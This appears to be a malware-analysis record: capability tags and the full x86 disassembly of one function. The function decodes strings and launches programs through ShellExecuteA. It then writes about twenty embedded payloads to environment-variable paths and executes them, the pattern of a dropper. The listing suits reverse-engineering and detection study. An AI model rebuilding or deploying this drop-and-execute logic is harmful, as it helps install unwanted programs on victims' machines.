Function at 0x40108c
Capabilities:
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x650
nop
mov eax, 4
push eax
mov eax, 0x402021
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, 0x402026
push ecx
mov dword [ebp - 4], eax
call section..text
add esp, 8
mov ecx, 0x1d2
push ecx
mov ecx, 0x402031
push ecx
mov dword [ebp - 8], eax
call section..text
add esp, 8
mov ecx, 0
push ecx
mov ecx, 0
push ecx
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0x1388
push eax
call sub.msvcrt.dll__sleep
add esp, 4
mov eax, 4
push eax
mov eax, 0x402204
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, 0x402209
push ecx
mov dword [ebp - 4], eax
call section..text
add esp, 8
mov ecx, 0x12e
push ecx
mov ecx, 0x402214
push ecx
mov dword [ebp - 8], eax
call section..text
add esp, 8
mov ecx, 0
push ecx
mov ecx, 0
push ecx
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0xf0
push eax
mov eax, 0
push eax
lea eax, [ebp - 0xf8]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0x402343
mov dword [ebp - 0xf8], eax
mov eax, 0x402348
mov dword [ebp - 0xf4], eax
mov eax, 0x40238d
mov dword [ebp - 0xf0], eax
mov eax, 0x404d8e
mov dword [ebp - 0xec], eax
mov eax, 0x404d93
mov dword [ebp - 0xe8], eax
mov eax, 0x404dd8
mov dword [ebp - 0xe4], eax
mov eax, 0x42cb39
mov dword [ebp - 0xe0], eax
mov eax, 0x42cb3e
mov dword [ebp - 0xdc], eax
mov eax, 0x42cb83
mov dword [ebp - 0xd8], eax
mov eax, 0x4a6984
mov dword [ebp - 0xd4], eax
mov eax, 0x4a6989
mov dword [ebp - 0xd0], eax
mov eax, 0x4a69ce
mov dword [ebp - 0xcc], eax
mov eax, 0x57b787
mov dword [ebp - 0xc8], eax
mov eax, 0x57b78c
mov dword [ebp - 0xc4], eax
mov eax, 0x57b7b1
mov dword [ebp - 0xc0], eax
mov eax, 0x64b142
mov dword [ebp - 0xbc], eax
mov eax, 0x64b147
mov dword [ebp - 0xb8], eax
mov eax, 0x64b18d
mov dword [ebp - 0xb4], eax
mov eax, 0x96bf4e
mov dword [ebp - 0xb0], eax
mov eax, 0x96bf53
mov dword [ebp - 0xac], eax
mov eax, 0x96bf98
mov dword [ebp - 0xa8], eax
mov eax, 0x9acd19
mov dword [ebp - 0xa4], eax
mov eax, 0x9acd1e
mov dword [ebp - 0xa0], eax
mov eax, 0x9acd64
mov dword [ebp - 0x9c], eax
mov eax, 0xaa2365
mov dword [ebp - 0x98], eax
mov eax, 0xaa236a
mov dword [ebp - 0x94], eax
mov eax, 0xaa23af
mov dword [ebp - 0x90], eax
mov eax, 0xc7a460
mov dword [ebp - 0x8c], eax
mov eax, 0xc7a465
mov dword [ebp - 0x88], eax
mov eax, 0xc7a46e
mov dword [ebp - 0x84], eax
mov eax, 0xf2da6f
mov dword [ebp - 0x80], eax
mov eax, 0xf2da74
mov dword [ebp - 0x7c], eax
mov eax, 0xf2da99
mov dword [ebp - 0x78], eax
mov eax, 0xfad362
mov dword [ebp - 0x74], eax
mov eax, 0xfad367
mov dword [ebp - 0x70], eax
mov eax, 0xfad36f
mov dword [ebp - 0x6c], eax
mov eax, 0x1003ae8
mov dword [ebp - 0x68], eax
mov eax, 0x1003aed
mov dword [ebp - 0x64], eax
mov eax, 0x1003b0f
mov dword [ebp - 0x60], eax
mov eax, 0x10beb10
mov dword [ebp - 0x5c], eax
mov eax, 0x10beb15
mov dword [ebp - 0x58], eax
mov eax, 0x10beb1c
mov dword [ebp - 0x54], eax
mov eax, 0x10cd71d
mov dword [ebp - 0x50], eax
mov eax, 0x10cd722
mov dword [ebp - 0x4c], eax
mov eax, 0x10cd733
mov dword [ebp - 0x48], eax
mov eax, 0x1133934
mov dword [ebp - 0x44], eax
mov eax, 0x1133939
mov dword [ebp - 0x40], eax
mov eax, 0x1133954
mov dword [ebp - 0x3c], eax
mov eax, 0x115eb55
mov dword [ebp - 0x38], eax
mov eax, 0x115eb5a
mov dword [ebp - 0x34], eax
mov eax, 0x115eb72
mov dword [ebp - 0x30], eax
mov eax, 0x12fa773
mov dword [ebp - 0x2c], eax
mov eax, 0x12fa778
mov dword [ebp - 0x28], eax
mov eax, 0x12fa7d4
mov dword [ebp - 0x24], eax
mov eax, 0x1598275
mov dword [ebp - 0x20], eax
mov eax, 0x159827a
mov dword [ebp - 0x1c], eax
mov eax, 0x1598283
mov dword [ebp - 0x18], eax
mov eax, 0x16067e5
mov dword [ebp - 0x14], eax
mov eax, 0x16067ea
mov dword [ebp - 0x10], eax
mov eax, 0x16067f2
mov dword [ebp - 0xc], eax
mov eax, 0x140
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x238]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 4
mov dword [ebp - 0x238], eax
mov eax, 0x44
mov dword [ebp - 0x234], eax
mov eax, 0x2a00
mov dword [ebp - 0x230], eax
mov eax, 1
mov dword [ebp - 0x22c], eax
mov eax, 4
mov dword [ebp - 0x228], eax
mov eax, 0x44
mov dword [ebp - 0x224], eax
mov eax, 0x27d60
mov dword [ebp - 0x220], eax
mov eax, 1
mov dword [ebp - 0x21c], eax
mov eax, 4
mov dword [ebp - 0x218], eax
mov eax, 0x44
mov dword [ebp - 0x214], eax
mov eax, 0x79e00
mov dword [ebp - 0x210], eax
mov eax, 1
mov dword [ebp - 0x20c], eax
mov eax, 4
mov dword [ebp - 0x208], eax
mov eax, 0x44
mov dword [ebp - 0x204], eax
mov eax, 0xd4db8
mov dword [ebp - 0x200], eax
mov eax, 1
mov dword [ebp - 0x1fc], eax
mov eax, 4
mov dword [ebp - 0x1f8], eax
mov eax, 0x24
mov dword [ebp - 0x1f4], eax
mov eax, 0xcf990
mov dword [ebp - 0x1f0], eax
mov eax, 1
mov dword [ebp - 0x1ec], eax
mov eax, 4
mov dword [ebp - 0x1e8], eax
mov eax, 0x45
mov dword [ebp - 0x1e4], eax
mov eax, 0x320dc0
mov dword [ebp - 0x1e0], eax
mov eax, 1
mov dword [ebp - 0x1dc], eax
mov eax, 4
mov dword [ebp - 0x1d8], eax
mov eax, 0x44
mov dword [ebp - 0x1d4], eax
mov eax, 0x40d80
mov dword [ebp - 0x1d0], eax
mov eax, 1
mov dword [ebp - 0x1cc], eax
mov eax, 4
mov dword [ebp - 0x1c8], eax
mov eax, 0x45
mov dword [ebp - 0x1c4], eax
mov eax, 0xf5600
mov dword [ebp - 0x1c0], eax
mov eax, 1
mov dword [ebp - 0x1bc], eax
mov eax, 4
mov dword [ebp - 0x1b8], eax
mov eax, 0x44
mov dword [ebp - 0x1b4], eax
mov eax, 0x1d80b0
mov dword [ebp - 0x1b0], eax
mov eax, 1
mov dword [ebp - 0x1ac], eax
mov eax, 4
mov dword [ebp - 0x1a8], eax
mov eax, 8
mov dword [ebp - 0x1a4], eax
mov eax, 0x2b3600
mov dword [ebp - 0x1a0], eax
mov eax, 1
mov dword [ebp - 0x19c], eax
mov eax, 4
mov dword [ebp - 0x198], eax
mov eax, 0x24
mov dword [ebp - 0x194], eax
mov eax, 0x7f8c8
mov dword [ebp - 0x190], eax
mov eax, 1
mov dword [ebp - 0x18c], eax
mov eax, 4
mov dword [ebp - 0x188], eax
mov eax, 7
mov dword [ebp - 0x184], eax
mov eax, 0x56778
mov dword [ebp - 0x180], eax
mov eax, 1
mov dword [ebp - 0x17c], eax
mov eax, 4
mov dword [ebp - 0x178], eax
mov eax, 0x21
mov dword [ebp - 0x174], eax
mov eax, 0xbb000
mov dword [ebp - 0x170], eax
mov eax, 1
mov dword [ebp - 0x16c], eax
mov eax, 4
mov dword [ebp - 0x168], eax
mov eax, 6
mov dword [ebp - 0x164], eax
mov eax, 0xec00
mov dword [ebp - 0x160], eax
mov eax, 1
mov dword [ebp - 0x15c], eax
mov eax, 4
mov dword [ebp - 0x158], eax
mov eax, 0x10
mov dword [ebp - 0x154], eax
mov eax, 0x66200
mov dword [ebp - 0x150], eax
mov eax, 1
mov dword [ebp - 0x14c], eax
mov eax, 4
mov dword [ebp - 0x148], eax
mov eax, 0x1a
mov dword [ebp - 0x144], eax
mov eax, 0x2b200
mov dword [ebp - 0x140], eax
mov eax, 1
mov dword [ebp - 0x13c], eax
mov eax, 4
mov dword [ebp - 0x138], eax
mov eax, 0x17
mov dword [ebp - 0x134], eax
mov eax, 0x19bc00
mov dword [ebp - 0x130], eax
mov eax, 1
mov dword [ebp - 0x12c], eax
mov eax, 4
mov dword [ebp - 0x128], eax
mov eax, 0x5b
mov dword [ebp - 0x124], eax
mov eax, 0x29daa0
mov dword [ebp - 0x120], eax
mov eax, 1
mov dword [ebp - 0x11c], eax
mov eax, 4
mov dword [ebp - 0x118], eax
mov eax, 8
mov dword [ebp - 0x114], eax
mov eax, 0x6e561
mov dword [ebp - 0x110], eax
mov eax, 1
mov dword [ebp - 0x10c], eax
mov eax, 4
mov dword [ebp - 0x108], eax
mov eax, 7
mov dword [ebp - 0x104], eax
mov eax, 0x25a00
mov dword [ebp - 0x100], eax
mov eax, 1
mov dword [ebp - 0xfc], eax
mov eax, 0
mov dword [ebp - 0x64c], eax
mov eax, dword [ebp - 0x64c]
cmp eax, 0x14
jge 0x40197b
jmp 0x401776
mov eax, dword [ebp - 0x64c]
inc eax
mov dword [ebp - 0x64c], eax
jmp 0x401753
mov eax, dword [ebp - 0x64c]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0xf8]
add ecx, eax
mov eax, 0x162c1f3
push eax
mov eax, dword [ecx]
push eax
call sub.msvcrt.dll_strcmp
add esp, 8
cmp eax, 0
jne 0x4017f6
mov eax, dword [ebp - 0x64c]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0xf8]
add ecx, eax
add ecx, 4
mov eax, dword [ebp - 0x64c]
shl eax, 4
lea edx, [ebp - 0x238]
add edx, eax
add edx, 4
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
lea eax, [ebp - 0x648]
push eax
call sub.msvcrt.dll_strcpy
add esp, 8
jmp 0x40188c
mov eax, dword [ebp - 0x64c]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0xf8]
add ecx, eax
mov eax, dword [ebp - 0x64c]
shl eax, 4
lea edx, [ebp - 0x238]
add edx, eax
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
call sub.msvcrt.dll_getenv
add esp, 4
mov ecx, dword [ebp - 0x64c]
mov edx, 0xc
imul ecx, edx
lea edx, [ebp - 0xf8]
add edx, ecx
add edx, 4
mov ecx, dword [ebp - 0x64c]
shl ecx, 4
mov dword [ebp - 4], eax
lea eax, [ebp - 0x238]
add eax, ecx
add eax, 4
mov ecx, dword [eax]
push ecx
mov eax, dword [edx]
push eax
call section..text
add esp, 8
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, 0x162c205
push eax
lea eax, [ebp - 0x648]
push eax
call sub.msvcrt.dll_sprintf
add esp, 0x10
mov eax, 0x162c20b
push eax
lea eax, [ebp - 0x648]
push eax
call sub.msvcrt.dll_fopen
add esp, 8
mov dword [ebp - 0x650], eax
mov eax, dword [ebp - 0x64c]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0xf8]
add ecx, eax
add ecx, 8
mov eax, dword [ebp - 0x64c]
shl eax, 4
lea edx, [ebp - 0x238]
add edx, eax
add edx, 8
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
mov ecx, dword [ebp - 0x64c]
shl ecx, 4
lea edx, [ebp - 0x238]
add edx, ecx
add edx, 8
mov ecx, dword [ebp - 0x650]
push ecx
mov ecx, 1
push ecx
mov ecx, dword [edx]
push ecx
push eax
call sub.msvcrt.dll_fwrite
add esp, 0x10
mov eax, dword [ebp - 0x650]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, dword [ebp - 0x64c]
shl eax, 4
lea ecx, [ebp - 0x238]
add ecx, eax
add ecx, 0xc
mov eax, dword [ecx]
cmp eax, 0
je 0x401976
mov eax, 4
push eax
mov eax, 0x162c20e
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, 0
push ecx
mov ecx, 0
push ecx
lea ecx, [ebp - 0x648]
push ecx
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x401767
mov eax, 0
leave
ret